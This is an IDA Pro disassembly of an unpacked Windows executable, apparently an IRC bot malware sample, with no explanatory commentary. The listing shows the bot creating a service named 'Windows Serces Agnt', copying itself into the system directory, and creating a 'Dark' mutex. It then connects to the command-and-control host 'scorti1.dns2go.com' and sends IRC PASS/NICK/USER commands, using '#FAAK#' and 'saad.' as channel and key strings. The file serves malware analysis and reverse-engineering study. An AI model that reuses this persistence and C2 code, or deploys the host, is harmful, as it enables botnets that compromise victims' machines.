;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	18F31A6978D0A96E0E43DEC5293AEBC1

; File Name   :	u:\work\18f31a6978d0a96e0e43dec5293aebc1_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	400000
; Section 1. (virtual address 00001000)
; Virtual size			: 000DE000 ( 909312.)
; Section size in file		: 000DE000 ( 909312.)
; Offset to raw	data for section: 00001000
; Flags	E0000040: Data Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
___		segment	para public 'CODE' use32
		assume cs:___
		;org 401000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401000	proc near		; CODE XREF: ___:00401579p
					; sub_4188A6+1Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_429050
		xor	esi, esi
		mov	ebx, offset aWindowsSercesA ; "Windows Serces Agnt"


loc_401013:				; CODE XREF: sub_401000+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	dword_4CB988
		cmp	[ebp+arg_0], esi
		jz	short loc_40104D
		push	[ebp+arg_0]
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB9F8
		jmp	short loc_401057
; ---------------------------------------------------------------------------


loc_40104D:				; CODE XREF: sub_401000+2Fj
		push	ebx
		push	[ebp+var_4]
		call	dword_4CB938


loc_401057:				; CODE XREF: sub_401000+4Bj
		push	[ebp+var_4]
		call	dword_4CB9B0
		add	edi, 8
		cmp	edi, offset dword_429068
		jb	short loc_401013
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_401000	endp


; =============== S U B	R O U T	I N E =======================================



sub_401070	proc near		; CODE XREF: sub_4010AB+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_4010A5
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_401089:				; CODE XREF: sub_401070+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, dword_427220[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_401089
		pop	edi
		pop	ebx


loc_4010A5:				; CODE XREF: sub_401070+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_401070	endp


; =============== S U B	R O U T	I N E =======================================



sub_4010AB	proc near		; CODE XREF: ___:004169EAp

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_41BEB5
		mov	[esp+10h+var_10], offset dword_429068
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_41BEA2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4010FA


loc_4010D0:				; CODE XREF: sub_4010AB+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_4010FE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41BBE2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_4010FA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		jmp	short loc_4010D0
; ---------------------------------------------------------------------------


loc_4010FA:				; CODE XREF: sub_4010AB+23j
					; sub_4010AB+39j
		xor	eax, eax
		jmp	short loc_401119
; ---------------------------------------------------------------------------


loc_4010FE:				; CODE XREF: sub_4010AB+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_401070
		push	esi
		mov	ebx, eax
		call	sub_41BA91
		push	edi
		call	sub_41BA3B
		add	esp, 10h
		mov	eax, ebx


loc_401119:				; CODE XREF: sub_4010AB+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4010AB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40111D	proc near		; DATA XREF: ___:00401235o

var_268		= dword	ptr -268h
var_25C		= byte ptr -25Ch
var_158		= byte ptr -158h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_28		= dword	ptr -28h
var_24		= word ptr -24h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 25Ch
		push	ebx
		push	esi
		push	edi
		push	dword_43E91C
		call	dword_4CBA6C
		call	sub_40B583
		call	dword_4CB92C
		call	dword_4CB92C
		mov	ebx, dword_427080
		push	64h
		call	ebx
		xor	edi, edi
		push	10h
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp+var_54]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp+var_54], esi
		mov	esi, 104h
		lea	eax, [ebp+var_25C]
		push	esi
		push	eax
		mov	[ebp+var_48], offset byte_43DB88
		mov	[ebp+var_28], 1
		mov	[ebp+var_24], di
		call	near ptr 2690000h
		nop
		lea	eax, [ebp+var_158]
		push	esi
		push	eax
		push	edi
		nop
		call	near ptr 268050Ah
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	edi
		push	28h
		push	1
		push	edi
		lea	eax, [ebp+var_158]
		push	edi
		push	eax
		push	edi
		call	near ptr 26802D4h
		nop
		test	eax, eax
		jz	short loc_4011E2
		push	64h
		call	ebx
		push	[ebp+var_10]
		mov	esi, dword_427070
		call	esi
		push	[ebp+var_C]
		call	esi


loc_4011E2:				; CODE XREF: sub_40111D+AFj
		mov	eax, [ebp+arg_8]
		mov	dword ptr [eax+0B0h], offset dword_43DB80
		mov	eax, [esp+268h+var_268]
		mov	large fs:0, eax
		add	esp, 8
		push	edi
		call	near ptr 77E75CB5h
		nop
		pop	edi
		pop	esi
		pop	ebx


loc_401205:				; DATA XREF: ___:00429004o
		jmp	$+5
		push	0FFFFh
		push	539h
		call	sub_418BD1
		pop	ecx
		mov	dword_4CB710, eax
		pop	ecx
		retn
sub_40111D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 988h
		push	ebx
		xor	ebx, ebx
		push	esi
		push	edi
		mov	[ebp-8], ebx
		mov	[ebp-0Ch], ebx
		mov	dword ptr [ebp-4], offset sub_40111D
		push	dword ptr [ebp-4]
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	esi, dword_4270B0
		call	esi
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	dword_4CB714, eax
		call	esi
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_409909
		push	2
		call	dword_4CBA80
		push	7530h
		push	offset aDark	; "Dark"
		push	ebx
		push	ebx
		nop
		call	near ptr 26A07C7h
		push	eax
		nop
		call	near ptr 26A0708h
		cmp	eax, 102h
		jnz	short loc_4012A1
		push	1
		call	near ptr 77E75CB5h
		nop


loc_4012A1:				; CODE XREF: ___:00401297j
		lea	eax, [ebp-884h]
		push	eax
		push	202h
		call	dword_4CB944
		cmp	eax, ebx
		jnz	loc_4017E4
		cmp	byte ptr [ebp-884h], 2
		jnz	loc_4017DE
		xor	eax, eax
		mov	al, [ebp-883h]
		cmp	al, 2
		jnz	loc_4017DE
		mov	esi, 104h
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		nop
		call	near ptr 2690000h
		lea	eax, [ebp-2ECh]
		push	esi
		push	eax
		push	ebx
		nop
		call	near ptr 26A0587h
		push	eax
		nop
		call	near ptr 268050Ah
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	ebx
		lea	eax, [ebp-2ECh]
		push	ebx
		push	eax
		call	sub_41C3B1
		add	esp, 14h
		lea	eax, [ebp-4F0h]
		push	eax
		lea	eax, [ebp-6F4h]
		push	eax
		push	offset dword_429AC8
		lea	eax, [ebp-5F4h]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp-3F0h]
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		call	sub_41C2E0
		add	esp, 1Ch
		test	eax, eax
		jnz	loc_401516
		cmp	dword_42908C, ebx
		mov	esi, offset byte_429108
		jz	short loc_40139C
		push	esi
		xor	edi, edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		jz	short loc_40139C


loc_401379:				; CODE XREF: ___:0040139Aj
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		push	esi
		add	dl, 61h
		mov	byte_429108[edi], dl
		inc	edi
		call	sub_41B9C0
		sub	eax, 4
		pop	ecx
		cmp	edi, eax
		jb	short loc_401379


loc_40139C:				; CODE XREF: ___:00401369j
					; ___:00401377j
		lea	eax, [ebp-3F0h]
		push	esi
		push	eax
		lea	eax, [ebp-1E8h]
		push	offset dword_429AC0
		push	eax
		call	sub_41C266
		add	esp, 10h
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 26A04C6h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4013DC
		lea	eax, [ebp-1E8h]
		push	80h
		push	eax
		nop
		call	near ptr 26A0406h


loc_4013DC:				; CODE XREF: ___:004013C8j
		mov	esi, dword_427098
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		xor	edi, edi
		push	eax


loc_4013F3:				; CODE XREF: ___:0040142Aj
		call	esi
		test	eax, eax
		jnz	short loc_40142C
		nop
		call	near ptr 2690C56h
		cmp	edi, ebx
		jnz	short loc_40142C
		cmp	eax, 20h
		jz	short loc_40140D
		cmp	eax, 5
		jnz	short loc_40142C


loc_40140D:				; CODE XREF: ___:00401406j
		push	1
		pop	edi
		push	3A98h
		nop
		call	near ptr 269040Ah
		lea	eax, [ebp-1E8h]
		push	ebx
		push	eax
		lea	eax, [ebp-2ECh]
		push	eax
		jmp	short loc_4013F3
; ---------------------------------------------------------------------------


loc_40142C:				; CODE XREF: ___:004013F7j
					; ___:00401401j ...
		lea	eax, [ebp-1E8h]
		push	eax
		call	sub_4187E0
		pop	ecx
		lea	eax, [ebp-1E8h]
		push	7
		push	eax
		nop
		call	near ptr 26A0406h
		push	10h
		lea	eax, [ebp-20h]
		push	ebx
		push	eax
		call	sub_41BF70
		push	44h
		lea	eax, [ebp-0E4h]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 18h
		mov	[ebp-0E4h], esi
		mov	dword ptr [ebp-0D8h], offset byte_43DB88
		mov	[ebp-0B4h], bx
		push	1
		pop	esi
		mov	[ebp-0B8h], esi
		call	near ptr 2690C3Ch
		nop
		push	eax
		push	esi
		push	100000h


loc_401495:				; DATA XREF: ___:off_433094o
		nop
		call	near ptr 26906DBh
		lea	ecx, [ebp-2ECh]
		push	ecx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		lea	eax, [ebp-988h]
		push	offset dword_429AB4
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-0E4h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	eax
		push	ebx
		push	28h
		push	esi
		push	ebx
		lea	eax, [ebp-988h]
		push	ebx
		push	eax
		lea	eax, [ebp-1E8h]
		push	eax
		nop
		call	near ptr 26802D4h
		test	eax, eax
		jz	short loc_401516
		push	0C8h
		call	near ptr 269040Ah
		nop
		push	dword ptr [ebp-20h]
		mov	esi, dword_427070
		call	esi
		push	dword ptr [ebp-1Ch]
		call	esi
		call	dword_4CB92C
		push	ebx
		nop
		call	near ptr 77E75CB5h


loc_401516:				; CODE XREF: ___:00401358j
					; ___:004014ECj
		cmp	dword_4DBDF8, 2
		jle	short loc_401562
		mov	eax, dword_4DBDFC
		push	dword ptr [eax+4]
		call	sub_41C159
		pop	ecx
		mov	esi, eax
		push	0FFFFFFFFh
		push	esi
		nop
		call	near ptr 26A0708h
		push	esi
		call	near ptr 2680000h
		nop
		mov	eax, dword_4DBDFC
		cmp	[eax+8], ebx
		jz	short loc_401562
		push	7D0h
		call	near ptr 269040Ah
		nop
		mov	eax, dword_4DBDFC
		push	dword ptr [eax+8]
		call	near ptr 269063Fh
		nop


loc_401562:				; CODE XREF: ___:0040151Dj
					; ___:00401547j
		cmp	dword_429090, ebx
		jz	short loc_40157F
		cmp	dword_4CBAA4, ebx
		jnz	short loc_40157F
		lea	eax, [ebp-5F4h]
		push	eax
		call	sub_401000
		pop	ecx


loc_40157F:				; CODE XREF: ___:00401568j
					; ___:00401570j
		lea	eax, [ebp-0A0h]
		push	offset dword_429A98
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	ebx
		push	eax
		call	sub_40B3BA
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		push	0B80h
		push	ebx
		push	offset dword_43DB90
		call	sub_41BF70
		add	esp, 24h
		lea	eax, [ebp-0A0h]
		push	offset unk_429A74
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	1
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		mov	edi, dword_427084
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	ebx
		push	offset byte_419F4D
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	short loc_401622
		call	near ptr 2690C56h
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset unk_429A34
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_401622:				; CODE XREF: ___:00401605j
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		push	2
		call	sub_40B602
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4016A7
		lea	eax, [ebp-0A0h]
		push	offset dword_429A08
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp-0A0h]
		push	2
		push	eax
		call	sub_40B3BA
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp-8]
		push	eax
		push	ebx
		push	esi
		push	offset loc_410BFD
		push	ebx
		push	ebx
		call	edi
		imul	esi, 234h
		cmp	eax, ebx
		mov	dword_43E924[esi], eax
		jnz	short loc_40169A
		call	near ptr 2690C56h
		nop
		push	eax
		lea	eax, [ebp-0A0h]
		push	offset dword_4299D4
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40169A:				; CODE XREF: ___:0040167Dj
		lea	eax, [ebp-0A0h]
		push	eax
		call	sub_415D38
		pop	ecx


loc_4016A7:				; CODE XREF: ___:00401639j
		call	sub_41C2C2
		push	7Fh
		and	eax, 3
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB71C
		mov	dword_4CB888, eax
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		mov	edi, offset dword_4CB79C
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		mov	esi, offset dword_4CB7DC
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword_4CB870, ebx


loc_4016FC:				; CODE XREF: ___:00401784j
					; ___:0040178Fj ...
		mov	[ebp-4], ebx


loc_4016FF:				; CODE XREF: ___:00401738j
		push	offset dword_4CB718
		mov	dword_4CB884, ebx
		call	sub_4017ED
		cmp	eax, 2
		mov	[ebp-10h], eax
		jz	loc_4017D9
		cmp	dword_4CB884, ebx
		jz	short loc_401726
		dec	dword ptr [ebp-4]


loc_401726:				; CODE XREF: ___:00401721j
		push	0BB8h
		nop
		call	near ptr 269040Ah
		inc	dword ptr [ebp-4]
		cmp	dword ptr [ebp-4], 6
		jl	short loc_4016FF
		cmp	dword ptr [ebp-10h], 2
		jz	loc_4017D9
		cmp	[ebp-0Ch], ebx
		jz	short loc_401789
		push	7Fh
		push	offset aScorti1_dns2go ; "scorti1.dns2go.com"
		push	offset dword_4CB71C
		call	sub_41BFD0
		mov	eax, dword_42906C
		push	3Fh
		push	offset aFaak	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad_	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	[ebp-0Ch], ebx
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_401789:				; CODE XREF: ___:00401747j
		cmp	byte_4290E4, bl
		jz	loc_4016FC
		push	7Fh
		push	offset byte_4290E4
		push	offset dword_4CB71C
		call	sub_41BFD0
		mov	eax, dword_429070
		push	3Fh
		push	offset aFaak_0	; "#FAAK#"
		push	edi
		mov	dword_4CB86C, eax
		call	sub_41BFD0
		push	3Fh
		push	offset aSaad__0	; "saad."
		push	esi
		call	sub_41BFD0
		add	esp, 24h
		mov	dword ptr [ebp-0Ch], 1
		jmp	loc_4016FC
; ---------------------------------------------------------------------------


loc_4017D9:				; CODE XREF: ___:00401715j
					; ___:0040173Ej
		call	sub_40B583


loc_4017DE:				; CODE XREF: ___:004012C2j
					; ___:004012D2j
		call	dword_4CB92C


loc_4017E4:				; CODE XREF: ___:004012B5j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4017ED	proc near		; CODE XREF: ___:0040170Ap
					; DATA XREF: sub_401ACD+654Co

var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_10C		= byte ptr -10Ch
var_CC		= byte ptr -0CCh
var_8C		= byte ptr -8Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= byte ptr -2Ch
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	59h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_190]
		rep movsd
		mov	dword ptr [eax+160h], 1


loc_401812:				; CODE XREF: sub_4017ED+E6j
					; sub_4017ED+136j ...
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_3C]
		call	dword_4CB9D4
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_40A8F0
		test	eax, eax
		pop	ecx
		mov	[ebp+var_C], eax
		jz	loc_40193F
		push	1Ch
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41BF70
		push	0
		lea	eax, [ebp+var_2C]
		push	dword_4290A0
		push	dword_42909C
		push	eax
		call	sub_40AE84
		mov	edi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	1Bh
		add	eax, offset byte_43E928
		push	edi
		push	eax
		call	sub_41BFD0
		add	esp, 28h
		push	6
		push	1
		push	2
		call	dword_4CBA54
		mov	esi, eax
		mov	eax, [ebp+var_34]
		imul	eax, 234h
		push	10h
		mov	dword_43E91C[eax], esi
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	dword_4CB97C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4018D8
		push	esi
		call	dword_4CBA6C
		call	sub_40A919
		push	7D0h


loc_4018CD:				; CODE XREF: sub_4017ED+146j
		nop
		call	near ptr 269040Ah
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_4018D8:				; CODE XREF: sub_4017ED+CDj
		lea	eax, [ebp+var_18C]
		push	eax
		push	offset unk_429AD0
		call	sub_415DAC
		push	[ebp+var_38]
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_CC]
		push	[ebp+var_190]
		push	edi
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_401955
		add	esp, 28h
		mov	edi, eax
		push	esi
		call	dword_4CBA6C
		test	edi, edi
		jz	loc_401812
		cmp	edi, 1
		jnz	short loc_401935
		push	0DBBA0h
		jmp	short loc_4018CD
; ---------------------------------------------------------------------------


loc_401935:				; CODE XREF: sub_4017ED+13Fj
		cmp	edi, 2
		jz	short loc_401943
		jmp	loc_401812
; ---------------------------------------------------------------------------


loc_40193F:				; CODE XREF: sub_4017ED+5Aj
		xor	eax, eax
		jmp	short loc_40194F
; ---------------------------------------------------------------------------


loc_401943:				; CODE XREF: sub_4017ED+14Bj
		push	[ebp+var_34]
		call	sub_40B6D6
		pop	ecx
		push	2
		pop	eax


loc_40194F:				; CODE XREF: sub_4017ED+154j
		pop	edi
		pop	esi
		leave
		retn	4
sub_4017ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401955	proc near		; CODE XREF: sub_4017ED+123p

var_1A90	= byte ptr -1A90h
var_A90		= byte ptr -0A90h
var_2C0		= byte ptr -2C0h
var_140		= byte ptr -140h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A90h
		call	sub_41C500
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	3
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_2C0]
		pop	ecx


loc_401973:				; CODE XREF: sub_401955+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_401973
		cmp	byte_4CB880, bl
		jz	short loc_40199A
		push	offset byte_4CB880
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_409823
		add	esp, 0Ch


loc_40199A:				; CODE XREF: sub_401955+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_40AE84
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401A04
		push	[ebp+arg_0]
		call	dword_4CBA6C
		push	1388h
		nop
		call	near ptr 269040Ah


loc_4019FD:				; CODE XREF: sub_401955+D9j
					; sub_401955+153j
		xor	eax, eax


loc_4019FF:				; CODE XREF: sub_401955+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401A04:				; CODE XREF: sub_401955+92j
					; sub_401955+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A90]
		push	esi
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_1A90]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB9EC
		test	eax, eax
		jle	short loc_4019FD
		lea	eax, [ebp+var_A90]
		push	eax
		lea	eax, [ebp+var_1A90]
		push	eax
		call	sub_4184CC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_401A04
		lea	edi, [ebp+var_A90]


loc_401A55:				; CODE XREF: sub_401955+165j
		push	1
		pop	esi


loc_401A58:				; CODE XREF: sub_401955+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_140]
		push	eax
		lea	eax, [ebp+var_2C0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_401ACD
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_401A9B
		push	7D0h
		call	near ptr 269040Ah
		nop
		jmp	short loc_401A58
; ---------------------------------------------------------------------------


loc_401A9B:				; CODE XREF: sub_401955+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_401AC5
		cmp	esi, 0FFFFFFFEh
		jz	short loc_401AC1
		cmp	esi, 0FFFFFFFFh
		jz	loc_4019FD
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_401A55
		jmp	loc_401A04
; ---------------------------------------------------------------------------


loc_401AC1:				; CODE XREF: sub_401955+14Ej
		push	1
		jmp	short loc_401AC7
; ---------------------------------------------------------------------------


loc_401AC5:				; CODE XREF: sub_401955+149j
		push	2


loc_401AC7:				; CODE XREF: sub_401955+16Ej
		pop	eax
		jmp	loc_4019FF
sub_401955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401ACD	proc near		; CODE XREF: sub_401955+12Ap

var_568C	= byte ptr -568Ch
var_528C	= byte ptr -528Ch
var_50FC	= byte ptr -50FCh
var_4FF8	= byte ptr -4FF8h
var_4EF8	= byte ptr -4EF8h
var_4CF8	= byte ptr -4CF8h
var_4BF8	= byte ptr -4BF8h
var_4AF4	= byte ptr -4AF4h
var_49F4	= byte ptr -49F4h
var_48F0	= byte ptr -48F0h
var_47F0	= byte ptr -47F0h
var_46F0	= byte ptr -46F0h
var_45F0	= byte ptr -45F0h
var_458C	= byte ptr -458Ch
var_448C	= byte ptr -448Ch
var_438C	= byte ptr -438Ch
var_428C	= byte ptr -428Ch
var_408C	= byte ptr -408Ch
var_3F8C	= dword	ptr -3F8Ch
var_3F88	= byte ptr -3F88h
var_3F08	= byte ptr -3F08h
var_3E04	= byte ptr -3E04h
var_3D00	= dword	ptr -3D00h
var_3CFC	= dword	ptr -3CFCh
var_3CF8	= dword	ptr -3CF8h
var_3CF4	= dword	ptr -3CF4h
var_3CF0	= dword	ptr -3CF0h
var_3CEC	= dword	ptr -3CECh
var_3CE8	= byte ptr -3CE8h
var_3C68	= byte ptr -3C68h
var_3BE8	= byte ptr -3BE8h
var_3B68	= byte ptr -3B68h
var_3AE8	= byte ptr -3AE8h
var_3A68	= dword	ptr -3A68h
var_3A64	= dword	ptr -3A64h
var_3A60	= dword	ptr -3A60h
var_3A5C	= dword	ptr -3A5Ch
var_3A58	= byte ptr -3A58h
var_37D1	= byte ptr -37D1h
var_37D0	= byte ptr -37D0h
var_36CC	= dword	ptr -36CCh
var_36C4	= dword	ptr -36C4h
var_36C0	= dword	ptr -36C0h
var_36BC	= dword	ptr -36BCh
var_36B8	= dword	ptr -36B8h
var_36B0	= dword	ptr -36B0h
var_36AC	= dword	ptr -36ACh
var_36A8	= byte ptr -36A8h
var_3628	= byte ptr -3628h
var_35A8	= byte ptr -35A8h
var_3528	= byte ptr -3528h
var_34A8	= dword	ptr -34A8h
var_34A4	= dword	ptr -34A4h
var_34A0	= dword	ptr -34A0h
var_349C	= dword	ptr -349Ch
var_3498	= dword	ptr -3498h
var_3494	= byte ptr -3494h
var_3414	= byte ptr -3414h
var_3394	= byte ptr -3394h
var_3314	= byte ptr -3314h
var_3294	= dword	ptr -3294h
var_3290	= dword	ptr -3290h
var_328C	= dword	ptr -328Ch
var_3288	= dword	ptr -3288h
var_3284	= dword	ptr -3284h
var_3280	= byte ptr -3280h
var_3200	= byte ptr -3200h
var_3180	= byte ptr -3180h
var_3100	= byte ptr -3100h
var_3080	= dword	ptr -3080h
var_307C	= dword	ptr -307Ch
var_3078	= dword	ptr -3078h
var_3074	= dword	ptr -3074h
var_3070	= dword	ptr -3070h
var_306C	= byte ptr -306Ch
var_2FEC	= byte ptr -2FECh
var_2F6C	= byte ptr -2F6Ch
var_2EEC	= byte ptr -2EECh
var_2E6C	= dword	ptr -2E6Ch
var_2E68	= dword	ptr -2E68h
var_2E64	= dword	ptr -2E64h
var_2E60	= dword	ptr -2E60h
var_2E5C	= byte ptr -2E5Ch
var_2D58	= dword	ptr -2D58h
var_2D54	= byte ptr -2D54h
var_2C50	= byte ptr -2C50h
var_2B4C	= dword	ptr -2B4Ch
var_2B48	= dword	ptr -2B48h
var_2B44	= dword	ptr -2B44h
var_2B40	= byte ptr -2B40h
var_2AC0	= dword	ptr -2AC0h
